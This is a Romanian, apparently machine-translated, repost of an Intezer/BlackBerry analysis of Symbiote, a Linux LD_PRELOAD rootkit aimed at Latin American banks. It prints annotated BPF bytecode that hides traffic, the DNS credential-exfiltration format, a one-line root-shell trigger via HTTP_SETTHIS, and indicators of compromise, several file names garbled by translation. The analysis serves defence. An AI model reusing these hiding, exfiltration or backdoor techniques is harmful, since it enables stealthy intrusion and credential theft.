Symbiote Deep-Dive: Analiza unei noi amenințări Linux, aproape imposibil de detectat

 Această cercetare este un efort comun între Joakim Kennedy, Cercetător de securitate la Intezer, și echipa BlackBerry Threat Research & Intelligence. Poate fi găsit și pe blogul BlackBerry aici .

În biologie, un simbiot este un organism care trăiește în simbioză cu un alt organism. Simbioza poate fi reciproc avantajoasă pentru ambele organisme, dar uneori poate fi parazită atunci când unul beneficiază, iar celălalt este vătămat. Cu câteva luni în urmă, am descoperit un nou malware Linux®, nedetectat, care acționează în această natură parazită. Am denumit în mod adecvat acest program malware Symbiote.

Ceea ce face ca Symbiote să fie diferit de alte programe malware Linux pe care le întâlnim de obicei, este că trebuie să infecteze alte procese care rulează pentru a provoca daune mașinilor infectate. În loc să fie un fișier executabil autonom care este rulat pentru a infecta o mașină, este o bibliotecă de obiecte partajate (SO) care este încărcată în toate procesele care rulează folosind LD_PRELOAD (T1574.006) și infectează parazitar mașina. Odată ce a infectat toate procesele care rulează, oferă actorului amenințării funcționalitatea rootkit, capacitatea de a colecta acreditări și capacitatea de acces la distanță.

Nașterea unui simbiot

Cea mai timpurie detectare a Symbiote este din noiembrie 2021 și se pare că a fost scris pentru a viza sectorul financiar din America Latină . Odată ce malware-ul a infectat o mașină, se ascunde pe sine și orice alt malware folosit de actorul amenințării, făcând infecțiile foarte greu de detectat. Efectuarea criminalistică în direct pe o mașină infectată poate să nu arate nimic, deoarece toate fișierele, procesele și artefactele de rețea sunt ascunse de malware. Pe lângă capacitatea de rootkit, malware-ul oferă o ușă în spate pentru ca actorul amenințării să se conecteze ca orice utilizator pe mașină cu o parolă codificată și să execute comenzi cu cele mai înalte privilegii. 

Deoarece este extrem de evazivă, o infecție cu Simbiot este probabil să „zboare sub radar”. În cercetarea noastră, nu am găsit suficiente dovezi pentru a determina dacă Symbiote este utilizat în atacuri foarte țintite sau ample.

Un aspect tehnic interesant al Symbiote este funcționalitatea de conectare a filtrului de pachete Berkeley (BPF). Symbiote nu este primul malware Linux care folosește BPF. De exemplu, ușile din spate avansate atribuite Equation Group au folosit BPF pentru comunicarea sub acoperire. Cu toate acestea, Symbiote utilizează BPF pentru a ascunde traficul de rețea rău intenționat pe o mașină infectată. Când un administrator pornește orice instrument de capturare a pachetelor pe mașina infectată, codul de octet BPF este injectat în nucleu care definește pachetele care trebuie capturate. În acest proces, Symbiote adaugă mai întâi codul de octeți, astfel încât să poată filtra traficul de rețea pe care nu dorește ca software-ul de capturare a pachetelor să-l vadă.

Tehnici de evaziune

Simbiotul este foarte ascuns. Malware-ul este conceput pentru a fi încărcat de către linker prin directiva LD_PRELOAD . Acest lucru îi permite să fie încărcat înaintea oricăror alte obiecte partajate. Deoarece este încărcat primul, poate „deturna importurile” din celelalte fișiere de bibliotecă încărcate pentru aplicație. Symbiote folosește acest lucru pentru a-și ascunde prezența pe mașină prin conectarea funcțiilor libc și libpcap . Imaginea de mai jos prezintă un rezumat al evaziunilor malware-ului.

Figura 1: Tehnici de evaziune a simbioților .

Activitate gazdă

Malware-ul Symbiote, pe lângă faptul că își ascunde propria prezență pe mașină, ascunde și alte fișiere legate de malware probabil implementat cu acesta. În cadrul binarului, există o listă de fișiere care este criptată RC4. Când sunt apelate funcții conectate, malware-ul încarcă mai întâi în mod dinamic libc și apelează funcția originală. Această logică este utilizată în toate funcțiile conectate. Un exemplu este prezentat în Figura 2 de mai jos.

logica pentru rezolvarea readdir
Figura 2: Logica pentru rezolvarea readdir din libc.

Dacă aplicația care apelează încearcă să acceseze un fișier sau un folder sub /proc , malware-ul șterge rezultatul de la numele proceselor care se află pe lista sa. Numele proceselor din lista de mai jos au fost extrase din mostrele pe care le-am descoperit.

  • certbotx64
  • certbotx86
  • javautils
  • javaserverx64
  • javaclientex64
  • javanodex86

Dacă aplicația care apelează nu încearcă să acceseze ceva sub /proc , programul malware șterge rezultatul dintr-o listă de fișiere. Fișierele extrase din toate mostrele pe care le-am examinat sunt afișate în lista de mai jos. Unele dintre nume de fișiere se potrivesc cu cele utilizate de Symbiote, în timp ce altele se potrivesc cu numele fișierelor suspectate a fi instrumente utilizate de actorul amenințării pe mașina infectată. Lista include următoarele fișiere.

  • apache2start
  • apache2stop
  • profiles.php
  • 404erro.php
  • javaserverx64
  • javaclientex64
  • javanodex86
  • liblinux.so
  • java.h
  • deschis.h
  • mpt86.h
  • sqlsearch.php
  • indexq.php
  • mt64.deci
  • certbot.h
  • cert.h
  • certbotx64
  • certbotx86
  • javautils
  • caută.deci

O consecință a încărcării Symbiote în procese prin LD_PRELOAD este că instrumente precum ldd , un utilitar care imprimă bibliotecile partajate cerute de fiecare program, vor lista malware-ul ca obiect încărcat. Pentru a contracara acest lucru, malware-ul agăță execve și caută apeluri la această funcție cu variabila de mediu LD_TRACE_LOADED_OBJECTS setată la 1. Pentru a înțelege de ce, merită să vă uitați la pagina de manual pentru ldd :

În cazul obișnuit, ldd invocă linkerul dinamic standard (vezi ld.so(8)) cu variabila de mediu LD_TRACE_LOADED_OBJECTS setată la 1. Acest lucru face ca linkerul dinamic să inspecteze dependențele dinamice ale programului și să găsească (conform regulilor descrise în ld.so(8)) și încărcați obiectele care satisfac acele dependențe. Pentru fiecare dependență, ldd afișează locația obiectului potrivit și adresa (hexazecimală) la care este încărcat. (Dependențele partajate linux-vdso și ld-linux sunt speciale; vezi vdso(7) și ld.so(8).)

Când malware-ul detectează acest lucru, execută încărcătorul așa cum face ldd , dar își șterge propria intrare din rezultat.

Activitate de rețea

Symbiote are, de asemenea, funcționalitate pentru a ascunde activitatea de rețea pe mașina infectată. Folosește trei metode diferite pentru a realiza acest lucru. Prima metodă implică agățarea fopen și fopen64 . Dacă aplicația care apelează încearcă să deschidă /proc/net/tcp,malware-ul creează un fișier temporar și copiază prima linie în acel fișier. După aceea, scanează fiecare linie pentru prezența unor porturi specifice. Dacă malware-ul găsește un port pe care îl caută pe o linie pe care o scanează, trece la linia următoare. În caz contrar, linia este scrisă în fișierul temp. Odată ce fișierul original a fost complet procesat, malware-ul închide fișierul și returnează descriptorul fișierului temporar către apelant. În esență, acest lucru dă procesului de apelare un rezultat curățat, care exclude toate intrările conexiunilor de rețea pe care malware-ul dorește să le ascundă.

A doua metodă pe care o folosește Symbiote pentru a-și ascunde activitatea în rețea este deturnarea oricărui bytecode de filtrare a pachetelor injectate. Nucleul Linux folosește filtrul de pachete Berkeley extins (eBPF) pentru a permite filtrarea pachetelor pe baza regulilor furnizate de un proces userland. Regula de filtrare este furnizată ca bytecode eBPF pe care nucleul îl execută pe o mașină virtuală (VM). Acest lucru minimizează schimbarea contextului între kernel și userland, oferind o creștere a performanței, deoarece nucleul efectuează filtrarea direct.

Dacă o aplicație de pe mașina infectată încearcă să efectueze filtrarea pachetelor cu eBPF, Symbiote deturnează procesul de filtrare. În primul rând, conectează funcția libc setsockopt . Dacă funcția este apelată cu opțiunea SO_ATTACH_FILTER , care este utilizată pentru a efectua filtrarea pachetelor pe un socket, aceasta își adaugă propriul bytecode înaintea codului eBPF furnizat de aplicația care apelează. 

Fragmentul de cod 1 arată o versiune adnotată a bytecode injectată de unul dintre eșantioanele Symbiote. Codul de octet „cade” dacă îndeplinesc următoarele condiții:

  • IPv6 (TCP sau SCTP) și port src (43253 sau 43753 sau 63424 sau 26424)
  • IPv6 (TCP sau SCTP) și portul dst 43253
  • IPv4 (TCP sau SCTP) și port src (43253 sau 43753 sau 63424 sau 26424)
  • IPv4 (TCP sau SCTP) și port dst (43253 sau 43753 sau 63424 sau 26424)

În timp ce acest bytecode elimină doar pachetele bazate pe porturi, am observat și filtrarea traficului pe baza adreselor IPv4. În toate cazurile, filtrarea operează atât pe traficul de intrare, cât și pe cel de ieșire din mașină, pentru a ascunde ambele sensuri de trafic. Dacă condițiile nu sunt îndeplinite, acesta sare doar la începutul bytecode-ului furnizat de aplicația care apelează. 

Codul de octet extras dintr-unul dintre eșantioane, așa cum se arată în Fragmentul de cod 1, constă din 32 de instrucțiuni. Acest cod nu poate fi injectat în nucleu singur, deoarece presupune că există mai mult bytecode după el. Există câteva salturi în acest bytecode care trec la începutul bytecode furnizat de procesul de apelare. Fără codul de octet al apelantului, codul de octet injectat ar sări în afara limitelor, ceea ce nu este permis de nucleu. Bytecode ca acesta fie trebuie să fie scris de mână, fie prin corecție generată de compilator-bytecode. Oricare dintre opțiuni sugerează că acest malware a fost scris de un dezvoltator calificat.

; Load Ether frame type from the packet.
0x00:    0x28    0x00    0x00    0x000c   	 ldabsh    0xc
; Jump if it’s not IPv6 (0x86DD)
0x01:    0x15    0x00    0x0b    0x86dd   	 jeq    r0,    0x86dd,    +0, +0x0b    (jump to 0xd)
; Load IPv6 next header into register.
0x02:    0x30    0x00    0x00    0x0014   	 ldabsb    0x14
; Short jump if SCTP
0x03:    0x15    0x02    0x00    0x0084   	 jeq    r0,    0x84,    +0x2    (jump to 0x6)   	  ; SCTP
; Short jump if TCP
0x04:    0x15    0x01    0x00    0x0006   	 jeq    r0,    0x6,    +0x1    (jump to 0x6)   		 ; TCP
; Jump to original byte code if UDP
0x05:    0x15    0x00    0x1a    0x0011   	 jeq    r0,    0x11,    +0x1a    (jump to 0x20)   	 ; UDP

; Load TCP src port into register.
0x06:    0x28    0x00    0x00    0x0036   	 ldabsh    0x36
; Jump to drop the packet if port 43253.
0x07:    0x15    0x17    0x00    0xa8f5   	 jeq    r0,    0xa8f5,    +0x17    (jump to 0x1f)    ; 43253
; Jump to drop the packet if port 43753.
0x08:    0x15    0x16    0x00    0xaae9   	 jeq    r0,    0xaae9,    +0x16    (jump to 0x1f)    ; 43753
; Jump to drop the packet if port 63424.
0x09:    0x15    0x15    0x00    0xf7c0   	 jeq    r0,    0xf7c0,    +0x15    (jump to 0x1f)    ; 63424
; Jump to drop the packet if port 26424.
0x0a:    0x15    0x14    0x00    0x6738   	 jeq    r0,    0x6738,    +0x14    (jump to 0x1f)    ; 26424

; Load TCP dst port into register.
0x0b:    0x28    0x00    0x00    0x0038   	 ldabsh    0x38
; Jump to drop packet if port 43253 else jump to 0x1c.
0x0c:    0x15    0x12    0x0f    0xa8f5   	 jeq    r0,    0xa8f5,    +0xf12 (jump to 0x1f)    (jump to 0x1c) ; 43253

; Ether frame type check for IPv4 (0x0800)
0x0d:    0x15    0x00    0x12    0x0800   	 jeq    r0,    0x800,    +0x1200    (jump to 0x20)
; Load IPv4 next header field into register.
0x0e:    0x30    0x00    0x00    0x0017   	 ldabsb    0x17
; Short jump if SCTP.
0x0f:    0x15    0x02    0x00    0x0084   	 jeq    r0,    0x84,    +0x2    (jump to 0x12)   	 ; SCTP
; Short jump if TCP.
0x10:    0x15    0x01    0x00    0x0006   	 jeq    r0,    0x6,    +0x1    (jump to 0x12)    	 ; TCP
; Jump to original byte code if UDP.
0x11:    0x15    0x00    0x0e    0x0011   	 jeq    r0,    0x11,    +0xe00    (jump to 0x20)     ; UDP

; Load IPv4 flag into register.
0x12:    0x28    0x00    0x00    0x0014   	 ldabsh    0x14
; Jump to original byte code if flags are set.
0x13:    0x45    0x0c    0x00    0x1fff   	 jset    r0,    0x1fff,    +0xc    (jump to 0x20)

; Load Internet Header Length into x.
0x14:    0xb1    0x00    0x00    0x000e   	 ldxmsh 0x0e
; Load TCP src port into register.
0x15:    0x48    0x00    0x00    0x000e   	 ldindh    r0,    0xe
; Jump to drop the packet if port 43253.
0x16:    0x15    0x08    0x00    0xa8f5   	 jeq    r0,    0xa8f5,    +0x8    (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x17:    0x15    0x07    0x00    0xaae9   	 jeq    r0,    0xaae9,    +0x7    (jump to 0x1f)    ; 43753
; Jump to drop the packet if port 63424.
0x18:    0x15    0x06    0x00    0xf7c0   	 jeq    r0,    0xf7c0,    +0x6    (jump to 0x1f)    ; 63424
; Jump to drop the packet if port 26424.
0x19:    0x15    0x05    0x00    0x6738   	 jeq    r0,    0x6738,    +0x5    (jump to 0x1f)    ; 26424

; Load TCP dst port into register.
0x1a:    0x48    0x00    0x00    0x0010   	 ldindh    r0,    0x10
; Jump to drop the packet if port 43253.
0x1b:    0x15    0x03    0x00    0xa8f5   	 jeq    r0,    0xa8f5,    +0x3    (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x1c:    0x15    0x02    0x00    0xaae9   	 jeq    r0,    0xaae9,    +0x2    (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x1d:    0x15    0x01    0x00    0xf7c0   	 jeq    r0,    0xf7c0,    +0x1    (jump to 0x1f)    ; 63424

; Jump to drop packet if true otherwise jump to original byte code.
0x1e:    0x15    0x00    0x01    0x6738   	 jeq    r0,    0x6738,    +0x100    (jump to 0x20); 26424
; Drop packet by returning 0.
0x1f:    0x06    0x00    0x00    0x0000   	 ret 0
0x20: // Original byte code.

Fragment de cod 1: cod octet adnotat extras dintr-unul dintre eșantioanele Symbiote.

A treia metodă pe care o folosește Symbiote pentru a-și ascunde traficul de rețea este conectarea funcțiilor libpcap . Această metodă este folosită de malware pentru a filtra traficul UDP către numele de domenii pe care le are într-o listă. Conectează funcțiile pcap_loop și pcap_stats pentru a îndeplini această sarcină. Pentru fiecare pachet care este primit, Symbiote verifică încărcarea utilă UDP pentru subșiruri ale domeniilor pe care dorește să le filtreze. Dacă găsește o potrivire, malware-ul ignoră pachetul și crește un contor. Pcap_stats _folosește acest contor pentru a „corecta” numărul de pachete procesate scăzând valoarea contorului din numărul adevărat de pachete procesate. Dacă o sarcină utilă de pachet nu conține niciunul dintre șirurile pe care le are în lista sa, este apelată funcția inițială de apel invers. Această metodă este folosită pentru a filtra pachetele UDP, în timp ce metoda bytecode este folosită pentru a filtra pachetele TCP. Utilizând toate aceste trei metode, malware-ul asigură că tot traficul este ascuns.

Obiective simbiotice

Obiectivul malware-ului, pe lângă ascunderea activității rău intenționate pe mașină, este de a colecta acreditări și de a oferi acces de la distanță pentru actorul amenințării. Recoltarea acreditărilor este realizată prin conectarea funcției de citire libc Dacă un proces ssh sau scp apelează funcția, acesta captează acreditările. Acreditările sunt mai întâi criptate cu RC4 folosind o cheie încorporată și apoi scrise într-un fișier. De exemplu, una dintre versiunile malware-ului scrie acreditările capturate în fișierul /usr/include/certbot.h . 

Pe lângă stocarea locală a acreditărilor, acreditările sunt exfiltrate. Datele sunt codificate hexadecimal și fragmentate pentru a fi exfiltrate prin solicitări de înregistrare a adresei DNS (A) către un nume de domeniu controlat de actorul amenințării. Cererea de înregistrare A are următorul format:

%PACKET_NUMBER%.%MACHINE_ID%.%HEX_ENC_PAYLOAD%.%DOMAIN_NAME%

Fragment de cod 2: Structura solicitării DNS utilizată de Symbiote pentru a exfiltra datele.

Malware-ul verifică dacă mașina are un server de nume configurat în /etc/resolv.conf . Dacă nu, se folosește DNS-ul Google (8.8.8.8). Odată cu trimiterea cererii către numele de domeniu, Symbiote o trimite și ca transmisie UDP.

Accesul de la distanță la mașina infectată se realizează prin conectarea câtorva funcții Linux Pluggable Authentication Module (PAM). Când un serviciu încearcă să folosească PAM pentru a autentifica un utilizator, malware-ul verifică parola furnizată cu o parolă codificată. Dacă parola furnizată se potrivește, funcția hooked returnează un răspuns de succes. Deoarece cârligele sunt în PAM, acesta permite actorului amenințării să se autentifice la mașină cu orice serviciu care utilizează PAM. Aceasta include servicii la distanță, cum ar fi Secure Shell (SSH) .

Dacă parola introdusă nu se potrivește cu parola codificată, malware-ul o salvează și o exfiltrează ca parte a funcției de înregistrare a tastelor. În plus, malware-ul trimite o cerere de înregistrare DNS TXT către domeniul său de comandă și control (C2). Înregistrarea TXT are formatul %MACHINEID%.%C2_DOMAIN% . Dacă primește un răspuns, malware base64 decodifică conținutul, verifică dacă conținutul a fost semnat de o cheie privată ed25519 corectă, decriptează conținutul cu RC4 și execută scriptul shell într-un proces bash generat. Această funcționalitate poate funcționa ca o metodă de spargere a sticlei pentru redobândirea accesului la mașină în cazul în care procesul normal nu funcționează.

Odată ce actorul amenințării s-a autentificat la mașina infectată, Symbiote oferă funcționalitate pentru a obține privilegii de root. Când obiectul partajat este încărcat pentru prima dată, verifică variabila de mediu HTTP_SETTHIS . Dacă variabila este setată cu conținut, malware-ul schimbă utilizatorul efectiv și ID-ul grupului la utilizatorul rădăcină, apoi șterge variabila înainte de a executa conținutul prin comanda de sistem. 

Acest proces necesită ca SO să aibă setat indicatorul de permisiune setuid . Odată ce comanda de sistem a ieșit, Symbiote iese din proces, pentru a preveni executarea procesului original. Figura 3 de mai jos arată codul executat. Acest lucru permite generarea unui shell rădăcină prin rularea HTTP_SETTHIS="/bin/bash -p” /bin/true ca orice utilizator dintr-un shell.

logică pentru a obține privilegii de root
Figura 3: Logica folosită pentru a executa o comandă cu privilegii root.

Infrastructura retelei

Numele de domenii folosite de malware-ul Symbiote uzurpa identitatea unor mari bănci braziliene. Acest lucru sugerează că aceste bănci sau clienții lor sunt potențialele ținte. Folosind numele de domenii utilizate de malware, am reușit să descoperim un eșantion înrudit care a fost încărcat în VirusTotal cu numele certbotx64 . Acest nume de fișier se potrivește cu unul dintre cele enumerate ca fișier pentru a fi ascuns într-unul dintre eșantioanele Symbiote pe care le-am obținut inițial. Fișierul a fost identificat ca un instrument de tunel DNS open-source numit dnscat2 . 

Eșantionul avea o configurație în binar care folosea domeniul git[.]bancodobrasil[.]dev ca server C2. În lunile februarie și martie, acest nume de domeniu s-a rezolvat la o adresă IP care este legată de serviciul Virtual Private Server (VPS) al lui Njalla. Înregistrările DNS pasive au arătat că aceeași adresă IP a fost rezolvată la ns1[.]cintepol[.]link și ns2[.]cintepol[.]link cu câteva luni mai devreme. Cintepol este un portal de informații furnizat de Poliția Federală din Brazilia. Portalul permite ofițerilor de poliție să acceseze diferite baze de date furnizate de poliția federală în cadrul investigațiilor lor. Serverul de nume utilizat pentru acest nume de domeniu de uzurpare a identității a fost activ de la mijlocul lunii decembrie 2021 până la sfârșitul lunii ianuarie 2022. 

Tot începând din februarie 2022, serverele de nume pentru domeniul caixa[.]wf indicau un alt IP Njalla VPS. Figura 4 de mai jos prezintă o cronologie a acestor evenimente. Pe lângă infrastructura de rețea, sunt incluse și marcajele de timp ale momentului în care fișierele au fost trimise către VirusTotal. Aceste trei mostre de Symbiote au fost încărcate de același expeditor din Brazilia. Se pare că fișierele au fost trimise la VirusTotal înainte ca infrastructura să intre online. 

Având în vedere că aceste fișiere au fost trimise la VirusTotal înainte ca infrastructura să intre online și pentru că unele dintre mostre includ reguli pentru a ascunde adresele IP locale, este posibil ca mostrele să fi fost trimise la VirusTotal pentru a testa detectarea Antivirus înainte de a fi utilizate. În plus, o versiune care pare să fie în curs de dezvoltare a fost trimisă la sfârșitul lunii noiembrie din Brazilia, ceea ce sugerează în continuare că VirusTotal a fost folosit de actorul sau grupul de amenințări din spatele Symbiote pentru testarea de detectare.

simbiot depus la VT
Figura 4: Cronologie care arată când fișierele au fost trimise către VirusTotal și când infrastructura de rețea a devenit activă.

Similaritate cu alte programe malware

Symbiote pare să fie conceput atât pentru furtul de acreditări, cât și pentru a oferi acces de la distanță la serverele Linux infectate. Symbiote nu este primul malware Linux dezvoltat pentru acest scop. În 2014, ESET a lansat o analiză aprofundată a Ebury , un backdoor OpenSSH care efectuează și furtul de acreditări. Există unele asemănări în tehnicile utilizate de ambele familii de malware. Ambele folosesc funcții conectate pentru a captura acreditările și pentru a exfiltra datele capturate ca solicitări DNS. Cu toate acestea, metoda de autentificare la ușa din spate folosită de cele două familii de malware este diferită. Când am analizat pentru prima dată mostrele cu Intezer Analyze, a fost detectat doar codul unic (Figura 5). Deoarece niciun cod nu este partajat între Symbiote și Ebury/Windigo sau orice alt malware cunoscut, putem concluziona cu încredere că Symbiote este un malware Linux nou, nedescoperit.

analiză simbiotică interioară
Figura 5: Analiza Intezer a unui eșantion Symbiote care arată doar genele clasificate ca Symbiote.

Concluzie

Symbiote este un malware foarte evaziv. Obiectivul său principal este de a capta acreditările și de a facilita accesul backdoor la mașinile infectate. Deoarece malware-ul funcționează ca un rootkit la nivel de utilizator, detectarea unei infecții poate fi dificilă. Telemetria de rețea poate fi utilizată pentru a detecta solicitările DNS anormale, iar instrumentele de securitate, cum ar fi antivirusul (AV) și detectarea și răspunsul la punctele finale (EDR) ar trebui să fie conectate static pentru a se asigura că nu sunt „infectate” de rootkit-urile userland.

Indicatori de compromis (IoC)

Hashes

HashNote
121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924„kerneldev.so.bkp.” Pare a fi o versiune de dezvoltare timpurie.
f55af21f69a183fb8550ac60f392b05df14aa01d7ffe9f28bc48a118dc110b4c„mt64_.so.” Lipsește exfiltrarea acreditărilor prin DNS.
ec67bbdf55d3679fca72d3c814186ff4646dd779a862999c82c6faa8e6615180„căută.deci.” Primul eșantion cu exfiltrare de acreditări a DNS.
a0cd554c35dee3fed3d1607dc18debd1296faaee29b5bd77ff83ab6956a6f9d6„liblinux.so.” 
45eacba032367db7f3b031e5d9df10b30d01664f24da6847322f6af1fd8e7f01„certbotx64”. dnscat2 

Porturile Ascunse

  • 45345
  • 34535
  • 64543
  • 24645
  • 47623
  • 62537
  • 43253
  • 43753
  • 63424
  • 26424

Domenii ascunse

  • active[.]fani
  • cutie[.]cutie
  • dpf[.]fm
  • bancodobrasil[.]dev
  • cctdcapllx0520
  • cctdcapllx0520[.]df[.]box
  • webfirewall[.]box[.]wf
  • cutie[.]wf

Numele proceselor ascunse

  • javaserverx64
  • javaclientex64
  • javanodex86
  • apache2start
  • apache2stop
  • [câine de pază/0]
  • certbotx64
  • certbotx86
  • javautils

Numele fișierelor ascunse

  • apache2start
  • apache2stop
  • profiles.php
  • 404erro.php
  • javaserverx64
  • javaclientex64
  • javanodex86
  • liblinux.so
  • java.h
  • deschis.h
  • mpt86.h
  • sqlsearch.php
  • indexq.php
  • mt64.deci
  • certbot.h
  • cert.h
  • certbotx64
  • certbotx86
  • javautils
  • caută.deci

Domenii Exfil de acreditări

  • *.x3206.caixa.cx
  • *.dev21.bancodobrasil.dev
Joakim Kennedy

Dr. Joakim Kennedy este un cercetător în domeniul securității care analizează programele malware și urmărește actorii amenințărilor în fiecare zi. În ultimii ani, Joakim a cercetat programe malware scrise în Go. Pentru a facilita analiza, el a scris setul de instrumente Go Reverse Engineering (github.com/goretk), un set de instrumente open-source pentru analiza binarelor Go.

Echipa BlackBerry Threat Research & Intelligence

Echipa BlackBerry Research & Intelligence examinează amenințările emergente și persistente, oferind analize de informații în beneficiul apărătorilor și al organizațiilor pe care le deservesc.

Comentarii

Postări populare de pe acest blog

BlueOS: Un sistem de operare care folosește Rust și acceptă Linux

Google propune utilizatorilor computerelor mai vechi cu Windows 10 să migreze la ChromeOS Flex — 600 de dispozitive certificate

Tocmai a fost lansat /e/OS 1.17, aducând un val de îmbunătățiri, de la măsuri de confidențialitate îmbunătățite la o interfață de utilizator reproiectată.